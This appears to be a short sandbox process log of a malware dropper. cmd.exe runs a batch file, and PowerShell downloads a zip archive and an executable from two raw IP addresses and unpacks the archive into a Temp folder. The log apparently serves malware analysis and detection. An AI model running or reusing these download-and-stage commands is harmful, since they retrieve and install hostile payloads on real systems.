cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "ROuelx" C:\Users\test22\AppData\Local\Temp\lamda1.cmd
2560powershell.exe Powershell -Command "Invoke-Webrequest 'http://85.209.133.18/LgGFdDAm/win1.zip' -OutFile win1.zip"
2744powershell.exe Powershell -Command "Invoke-Webrequest 'http://147.189.128.224/tbsh/troubleshoot.exe' -OutFile troubleshoot.exe"
2848powershell.exe Powershell -Command "Expand-Archive -Path C:\Users\test22\AppData\Local\Temp\win1.zip -DestinationPath C:\Users\test22\AppData\Local\Temp -Force"
2988